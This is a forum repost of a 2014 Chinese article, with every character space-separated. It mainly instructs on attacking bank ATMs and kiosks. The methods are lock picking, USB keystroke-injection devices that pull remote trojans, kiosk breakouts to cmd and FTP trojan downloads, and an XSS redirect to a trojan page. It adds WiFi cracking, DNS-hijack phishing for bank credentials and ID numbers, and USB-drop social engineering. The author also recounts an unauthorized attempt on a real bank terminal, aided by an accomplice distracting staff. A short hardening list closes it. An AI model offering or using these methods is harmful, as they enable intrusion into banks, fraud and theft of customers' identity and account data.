搜索

[8153] 2014-07-28_走进科学：银行ATM机真的安全吗？

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-17
2014-07-28_走进科学：银行ATM机真的安全吗？ 走 进 科 学 ： 银 行 A T M 机 真 的 安 全 吗 ？ F r e e B u f   2 0 1 4 - 0 7 - 2 8 作 者   B l a c k - H o l e 注 ： 本 文 提 到 的 安 全 测 试 方 法 禁 止 非 法 利 用 ， 任 何 非 法 用 途 带 来 的 后 果 责 任 自 负 。 0 × 0 1   引 子 引 子 好 吧 ， 想 在 银 行 边 进 行 渗 透 测 试 ， 边 拍 照 的 ， 但 是 人 太 多 … … 我 也 就 在 我 这 成 功 了 2 次 。 声 明 ， 我 只 是 友 情 测 试 ， 未 作 任 何 破 坏 。 另 外 ， 我 把 自 己 的 针 对 银 行 做 的 渗 透 测 试 思 路 拿 出 来 ， 旨 在 给 银 行 的 安 全 建 设 提 供 一 点 建 议 （ 0 × 0 7 节 会 有 总 结 ） 。 小 弟 不 才 ， 有 什 么 不 对 的 ， 还 望 指 正 出 来 。 0 × 0 2   先 谈 谈 银 行 的 先 谈 谈 银 行 的 A T M 机 吧 机 吧 中 国 的 A T M 机 很 安 全 ， 反 正 我 是 没 什 么 办 法 搞 定 了 ， 如 果 你 在 国 外 可 以 试 试 我 这 几 种 方 法 。 有 些 A T M 机 上 有 一 个 钥 匙 孔 ， 不 知 道 大 家 发 现 了 没 有 。
当 然 了 ， 你 也 不 能 指 望 所 有 的 A T M 都 有 钥 匙 孔 ， 有 的 A T M 机 上 有 ， 有 的 没 有 。 这 时 ， 你 需 要 一 根 小 银 条 ， 把 锁 撬 开 ( 需 要 深 厚 的 功 底 ) 。 打 开 后 ， 你 将 会 看 到 A T M 机 的 构 造 ， 这 时 你 将 会 发 现 U S B 插 口 和 N 个 不 同 的 插 口 ， 把 你 准 备 好 的 U 盘 插 入 进 去 吧 ， 这 时 我 推 荐 你 在 国 外 的 网 站 上 买 大 黄 鸭 “ U 盘 ” ， 大 家 可 以 去 网 上 购 买 ， 只 要 3 9 . 9 9 美 元 。 你 可 以 把 实 现 准 备 好 的 脚 本 写 到 这 个 “ U 盘 ” 里 ， 他 会 自 动 执 行 ， 准 确 来 说 ， 他 不 是 个 U 盘 ， 他 是 一 个 可 编 程 芯 片 ， 可 以 让 电 脑 以 为 是 键 盘 设 备 ， 也 可 以 让 电 脑 以 为 是 其 他 的 设 备 ， 只 要 预 先 写 好 脚 本 代 码 ， 插 入 ， 拔 出 ， A T M 就 被 感 染 上 木 马 端 ( 代 码 你 需 要 写 成 远 程 下 载 某 个 木 马 端 ， A T M 在 联 网 的 情 况 下 ) ， 什 么 网 上 的 a u t o r u n . i n f 自 动 运 行 ， 全 弱 爆 了 ， 和 它 比 ， 连 浮 云 都 不 算 ， 就 是 个 渣 。 搞 定 后 ， 把 A T M 机 安 好 ， 回 到 家 等 着 h i g h 把 。 ( 其 实 也 可 以 不 用 U 盘 ， 可 以 用 外 部 键 盘 ， 或 者 手 机 ) 在 网 上 听 说 把 一 百 元 存 进 A T M 机 的 时 候 ， 用 双 面 胶 把 四 个 边 粘 好 ， 然 后 反 复 存 钱 ， 反 复 取 钱 ， 就 会 变 多 ， 我 也 不 知 道 行 不 行 ， 不 敢 试 ， 哪 位 大 哥 试 了 后 ， 别 忘 和 我 说 一 声 行 不 行 。 0 × 0 3   A T M 完 了 ， 还 有 什 么 和 银 行 有 关 的 呢 ？ 答 ： 银 行 里 面 的 服 务 终 端 机 完 了 ， 还 有 什 么 和 银 行 有 关 的 呢 ？ 答 ： 银 行 里 面 的 服 务 终 端 机 这 个 是 最 简 单 ， 也 是 我 最 爱 玩 的 一 个 了 。 在 终 端 机 上 ， 大 多 都 是 有 键 盘 的 ， 或 者 是 触 屏 的 ， 当 然 键 盘 的 少 见 ， 触 屏 的 几 乎 每 个 都 是 ， 这 样 一 来 就 好 玩 了 。 其 实 银 行 终 端 机 的 页 面 就 是 浏 览 器 封 装 的 ( 也 可 以 叫 沙 盒 ) ， 把 浏 览 器 最 大 化   置 前 ， 就 完 事 了 。 当 然 ， 银 行 终 端 机 上 很 少 出 现 能 让 你 自 己 输 入 U R L 的 ， 如 果 可 以 输 入 U R L ， 就 会 出 现 网 上 的 “ 几 个 小 学 生 在 路 边 的 公 交 终 端 上 玩 起 了 疯 狂 的 小 鸟 … ” 对 于 这 种 事 ， 我 只 能 说 ， 我 大 华 名 族 帝 国 以 后 何 谈 不 旺 啊 ！ ( 扯 淡 完 毕 ) 这 时 ， 你 所 看 到 的 页 面 就 是 ：
这 样 的 。 我 们 的 目 的 很 简 单 ， 就 是 在 终 端 机 上 运 行 木 马 程 序 ， 这 时 我 们 该 怎 么 做 呢 ？ 答 ： 先 进 入 桌 面 在 说 。 那 我 们 怎 么 样 才 可 以 进 入 桌 面 呢 ， 我 提 供 几 个 方 法 ： 长 按 不 动 、 多 点 触 控 、 频 繁 点 击 、 寻 找 下 载 、 寻 找 邮 箱 、 漏 洞 利 用 、 其 他 长 按 不 动 、 多 点 触 控 、 频 繁 点 击 、 寻 找 下 载 、 寻 找 邮 箱 、 漏 洞 利 用 、 其 他 1 ） 长 按 不 动 ： ） 长 按 不 动 ： 长 按 不 要 动 ， 按 住 页 面 的 某 个 位 置 ， 停 留 几 秒 。 让 A T M 机 出 现 鼠 标 右 键 的 情 况 ， 就 像 这 样 。 然 后 点 击 “ 页 面 另 存 为 ”
打 开 “ 资 源 管 理 器 ” ， 然 后 到 C : W i n d o w s S y s t e m 3 2 里 打 开 o s k . e x e 文 件 ， 启 动 屏 幕 键 盘 。 剩 下 就 是 打 开 c m d ， 连 接 F T P ， 下 载 木 马 端 了 。 然 后 回 家 搞 内 网 渗 透 把 ， 反 正 我 玩 的 时 候 ， 终 端 机 就 是 连 接 银 行 内 网 的 。 按 住 也 有 技 巧 的 ， 在 自 助 营 业 终 端 A T M 机 页 面 ， 静 止 5 秒 钟 ， 出 现 右 键 选 择 菜 单 栏 ， 通 过 打 印 机 设 置 ， 从 而 进 入 A T M 内 部 ， 查 看 和 调 用 内 部 程 序 ， 然 后 进 s y s t e m 3 2 里 打 开 o s k . e x e ( 屏 幕 键 盘 ) ， 再 打 开 F T P ， 远 程 下 载 木 马 。 这 里 有 个 技 巧 ， 长 按 不 松 的 时 候 ， 最 好 是 图 片 或 者 f l a s h 。 你 别 按 着 “ 按 钮 ” 不 松 了 … . 2 ） 多 点 触 控 、 频 繁 点 击 ： ） 多 点 触 控 、 频 繁 点 击 ： 因 为 某 些 浏 览 器 对 触 屏 的 反 应 没 有 认 真 考 虑 到 、 或 则 计 算 机 对 多 点 触 控 、 频 繁 点 击 多 点 触 控 、 频 繁 点 击 没 有 足 够 的 内 存 来 反 应 了 ， 导 致 我 们 频 繁 点 击 和 多 点 触 控 ， 或 则 两 个 一 起 执 行 的 时 候 ， 浏 览 器 沙 盒 意 外 崩 溃 ， 当 出 现 崩 溃 的 时 候 。 系 统 会 退 到 桌 面 ( 当 你 运 气 不 好 的 时 候 ， 他 会 重 启 … ) ， 然 后 你 的 任 务 就 是 找 C : / W I N D O W N / s y s t e m 3 2 / o s k . e x e 屏 幕 键 盘 ， 找 到 后 ， 在 同 目 录 下 找 c m d . e x e 文 件 。 打 开 后 ， 你 先 输 入 i p c o n f i g 或 则 i f c o n f i g ( w i n 系 统 下 是 i p c o n f i g ， l i n u x 系 统 下 是 i f c o n f i g ) 看 有 没 有 联 网 ， 在 不 在 局 域 网 内 。 然 后 开 F T P ， 远 程 下 载 你 事 先 准 备 好 的 木 马 文 件 ， 传 输 完 毕 后 ， 打 开 木 马 服 务 端 ， 恢 复 原 样 ， 就 可 以 了 。 但 是 你 如 果 发 现 没 有 联 网 的 话 ， 那 你 只 能 放 弃 了 ， 除 非 你 可 以 在 里 面 编 写 脚 本 ， 来 获 取 计 算 机 的 反 应 ， 过 几 天 再 去 时 ， 什 么 都 有 了 ( 身 份 证 什 么 的 ) ， 但 是 需 要 的 时 间 ， 这 个 方 法 成 功 率 很 低 ， 为 什 么 呢 ？ 因 为 前 台 不 可 能 让 你 一 直 在 终 端 机 上 玩 ， 再 说 你 要 写 代 码 什 么 ， 也 没 有 编 译 器 ， 我 这 里 只 是 给 出 一 种 思 路 。 在 某 些 终 端 机 / A T M （ 可 以 触 屏 的 终 端 ） 上 三 点 等 于 右 键 ， 就 会 出 现 鼠 标 右 键 的 反 应 了 ， 然 后 找 到 “ 页 面 另 存 为 ” ( 如 果 没 找 打 ， 就 找 “ 打 印 ” ) ， 再 然 后 打 开 “ 资 源 管 理 器 ” 。 然 后 和 上 面 一 样 来 搞 定 。 如 果 ， 你 想 做 绝 ， 直 接 在 c m d 下 运 行 s h u t d o w n   – s   – t   3 倒 计 时 3 秒 关 机 ， 当 然 ， 做 完   你 也 差 不 多 在 警 察 局 陪 警 察 叔 叔 聊 聊 家 常 了 3 ） 寻 找 下 载 ： ） 寻 找 下 载 ：
在 页 面 内 ， 随 便 点 击 连 接 ， 找 到 下 载 项 ， 就 像 这 样 点 击 保 存 ： 资 源 管 理 器 ， 进 s y s t e m 3 2 里 打 开 o s k . e x e ， 再 打 开 F T P ， 远 程 下 载 木 马 。 4 ） 寻 找 邮 箱 ： 寻 找 邮 箱 ： 找 到 邮 箱 在 网 站 里 ， 我 们 经 常 遇 到 邮 箱 什 么 的 ， 这 时 ， 我 们 需 要 的 就 是 点 击 那 个 邮 箱 地 址 。 当 你 点 击 邮 箱 地 址 的 时 候 ， 系 统 会 打 开 o u t l o o k ， 打 开 o u t l o o k 后 在 帮 助 菜 单 进 行 W i n d o w s u p d a t e ， i e 成 功 弹 出 来 了 ， 在 “ 文 件 ” 里 找 到 “ 另 存 为 ” ， 就 可 以 实 现 我 之 前 说 的 了 ( 也 可 以 直 接 在 I E 的 地 址 栏 中 输 入 你 远 程 的 木 马 U R L 地 址 ， 让 I E 下 载 等 等 ) 。 各 种 搞 吧 : ) 运 行 c m d 的 图 片 ， 我 们 实 现 的 目 标 就 是 这 个 。 5 ） 漏 洞 利 用 ： ） 漏 洞 利 用 ： 这 个 方 法 ， 我 没 见 网 上 谁 有 说 ， 我 是 自 己 想 出 来 的 ( 如 果 网 上 有 ， 算 我 抄 你 的 ) ， 当 页 面 存 在 x s s 漏 洞 的 时 候 ， 你 插 入 < m e t a   h t t p - e q u i v = " r e f r e s h "   c o n t e n t = " 5 ;   u r l = h t t p : / / w w w . * * * . c o m "   / > 5 秒 后 ， 会 跳 转 到 你 想 要 的 页 面 ， 这 个 页 面 可 以 是 木 马 下 载 网 页 ， 随 便 你 ， 当 然 这 个 的 前 提 就 是 有 外 部 键 盘 。 你 也 可 以 在 输 入 代 码 ， 让 浏 览 器 打 开 文 件 框 进 行 了 一 下 在 本 地 新 建 一 个 东 西 的 指 令 ， 然 后 跳 出 沙 箱 ， 就 会 出 现 系 统 界 面 ， 像 下 面 这 样 ( 你 都 可 以 让 浏 览 器 运 行 自 己 代 码 了 ， 还 有 什 么 不 可 能 呢 : )   )
6 ） 其 他 ： ） 其 他 ： 如 果 你 胆 子 大 ， 你 会 发 现 终 端 机 有 钥 匙 孔 ， 和 A T M 机 一 样 ， 找 U S B 插 口 ， 然 后 连 接 外 部 键 盘 、 大 黄 鸭 U 盘 、 手 机 啊 ， 什 么 的 。 然 后 你 懂 得 。 当 然 ， 不 推 荐 这 个 ， 为 什 么 呢 ？ 风 险 太 大 了 ， 而 且 有 一 定 几 率 不 成 功 。 0 × 0 4   A T M 讲 完 了 、 终 端 机 讲 完 了 、 还 有 什 么 呢 ？ 答 ： 讲 完 了 、 终 端 机 讲 完 了 、 还 有 什 么 呢 ？ 答 ： w i f i 首 先 在 手 机 里 安 装 B T 5 ， 或 者 带 个 笔 记 本 ( 不 推 荐 ， 容 易 被 怀 疑 ) ， 然 后 破 解 w i f i ， 当 然 如 果 银 行 给 出 了 w i f i 密 码 ， 则 省 去 这 一 步 。 然 后 用 i m g 标 签 破 解 密 码 ( 手 机 连 上 w i f i 后 ， 在 手 机 里 事 先 准 备 一 个 h t m l 文 件 ， 在 里 面 用 i m g 标 签 破 解 ( < i m g s c r = a d m i n u s e r : a d m i n p a s s w o r d @ 1 9 2 . 1 6 8 . 0 . 1 / l o g o . p n g > ) 然 后 用 d S p l o i t 软 件 ， 进 行 嗅 探 密 码 ， 最 好 是 修 改 D N S 到 自 己 的 网 站 上 ， 首 先 你 自 己 做 个 钓 鱼 页 面 ， 说 必 须 输 入 您 的 银 行 账 号 、 身 份 证 账 号 、 手 机 号 码 、 * * 密 码 什 么 的 ， 随 便 你 了 ， 才 可 以 使 用 w i f i 。 记 住 ！ 无 论 对 方 输 入 的 对 还 是 错 ， 第 一 次 输 入 必 须 显 示 ， 您 输 入 的 有 错 ， 这 样 一 来 ， 会 给 对 方 一 种 心 理 ， 他 说 的 是 真 的 ， 看 来 他 们 会 把 我 的 信 息 核 对 ， 不 然 他 怎 么 知 道 我 输 入 错 了 呢 。 这 是 一 种 心 理 手 法 ， 但 很 好 用 （ 亲 试 很 不 错 ） 。 0 × 0 5   好 像 没 什 么 可 说 的 了 ， 就 这 样 结 束 了 么 ！ ？ 答 ： 错 ， 还 有 一 种 社 工 好 像 没 什 么 可 说 的 了 ， 就 这 样 结 束 了 么 ！ ？ 答 ： 错 ， 还 有 一 种 社 工 事 先 买 个 U 盘 ， 也 可 以 是 大 黄 鸭 U 盘 ， 然 后 里 面 放 入 木 马 。 跑 到 银 行 里 ， 问 客 服 ， 厕 所 在 哪 里 ， 非 常 的 急 ！ 你 要 不 说 非 常 ， 客 服 很 少 会 告 诉 你 ， 因 为 那 是 他 们 专 用 的 。 跑 到 里 面 把 U 盘 扔 到 地 上 ， 然 后 ， 回 家 等 着 把 ， 大 多 数 人 看 到 U 盘 后 ， 都 会 把 U 盘 插 到 电 脑 里 ， 看 有 什 么 ( 好 奇 心 ， 害 死 猫 啊 ) 然 后 ， 你 就 在 家 喝 着 咖 啡 ， 躺 在 沙 发 上 ， 玩 他 们 的 内 网 吧 。 0 × 0 6   实 例 实 例 : 昨 天 我 网 上 的 基 友 来 了 ， 我 和 他 说 今 天 去 银 行 干 点 好 玩 的 ， 他 说 好 ， 一 天 后 ， 我 俩 2 . 3 0 去 了 银 行 ， 那 时 人 多 ， 前 台 不 会 注 意 我 们 这 边 ， 然 后 我 和 他 说 ， 你 去 找 前 台 扯 犊 子 ， 能 扯 什 么 就 扯 什 么 ， 一 开 始 他 还 不 愿 意 ， 在 我 的 K F C 诱 导 下 ， 他 终 于 屈 服 了 … … 然 后 他 帮 我 打 掩 护 ， 我 来 搞 。 教 程 ： 教 程 ： 一 ： h t t p : / / v . y o u k u . c o m / v _ s h o w / i d _ X N z Q 1 M D I 3 N D k 2 . h t m l 因 为 我 事 先 试 了 长 按 不 动 、 多 点 触 控 、 频 繁 点 击 、 寻 找 下 载 、 寻 找 邮 箱 、 漏 洞 利 用 。 长 按 不 动 、 多 点 触 控 、 频 繁 点 击 、 寻 找 下 载 、 寻 找 邮 箱 、 漏 洞 利 用 。 先 但 是 都 没 有 成 功 ， 在 我 快 要 放 弃 的 时 候 ， 我 发 现 有 个 “ 退 到 桌 面 ” 我 点 击 ， 有 个 密 码 验 证 ， 我 把 1 2 3 、 1 2 3 4 5 6 7 8 9 、 0 0 0 0 0 0 、 5 5 5 5 5 5 、 1 2 3 4 5 6 后 来 发 现 1 2 3 4 5 6 成 功 ( 期 间 ， 有 点 紧 张 ， 所 以 多 次 按 到 “ 退 出 ” ) ， 然 后 进 入 桌 面 。 由 于 我 看 到 保 安 往 我 这 边 来 了 ， 就 结 束 第 一 段 录 像 。 二 ： h t t p : / / v . y o u k u . c o m / v _ s h o w / i d _ X N z Q 1 M D I 4 M j k y . h t m l 后 来 ， 我 就 想 在 搞 一 次 ， 让 我 基 友 在 旁 边 拿 着 手 机 录 像 ， 来 人 和 我 说 。 我 进 入 s y s t e m 3 2 目 录 ， 想 打 开 o s k 屏 幕 键 盘 功 能 ， 然 后 用 c m d 看 看 这 个 x p 终 端 机 的 状 况 ， 但 是 … . 听 到 我 基 友 那 销 魂 的 声 音 “ 速 度 点 ， 快 快 快 ， 走 走 走 ” … 只 能 放 弃 了 ， 详 细 你 可 以 听 第 二 段 录 音 最 后 面 。 0 × 0 7   对 银 行 对 银 行 A T M 机 的 安 全 加 固 建 议 机 的 安 全 加 固 建 议
1 、   A T M 钥 匙 孔 ， 最 好 用 超 B 级 锁 ， 防 止 撬 开 。 2 、   A T M 内 部 插 入 未 认 证 U S B 的 时 候 自 动 报 警 ， 当 然 ， 现 在 应 该 也 有 这 种 机 制 了 。 3 、   终 端 机 的 安 全 很 重 要 ， 最 好 不 要 联 网 ， 在 本 地 搭 建 一 个 网 站 。 4 、   对 终 端 机 的 触 控 做 严 格 的 机 制 过 滤 5 、   机 器 密 码 用 高 强 度 的 ， 防 止 内 网 渗 透 6 、   不 要 轻 易 拾 取 U 盘 7 、   对 银 行 的 电 脑 做 出 严 格 的 权 限 认 证 。 8 、   密 码 不 要 是 弱 口 令 。 文 章 中 提 到 的 大 黄 鸭 购 买 地 址 ： h t t p : / / h a k s h o p . m y s h o p i f y . c o m / c o l l e c t i o n s / u s b - r u b b e r - d u c k y / p r o d u c t s / u s b - r u b b e r - d u c k y - d e l u x e 小 弟 不 才 ， 这 篇 文 章 难 免 有 出 错 的 地 方 ， 如 果 发 现 ， 还 望 指 正 ， 谢 谢 。 [ v i a / 原 文 链 接 ] h t t p : / / l o u d o n g . 3 6 0 . c n / b l o g / v i e w / i d / 2 0 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理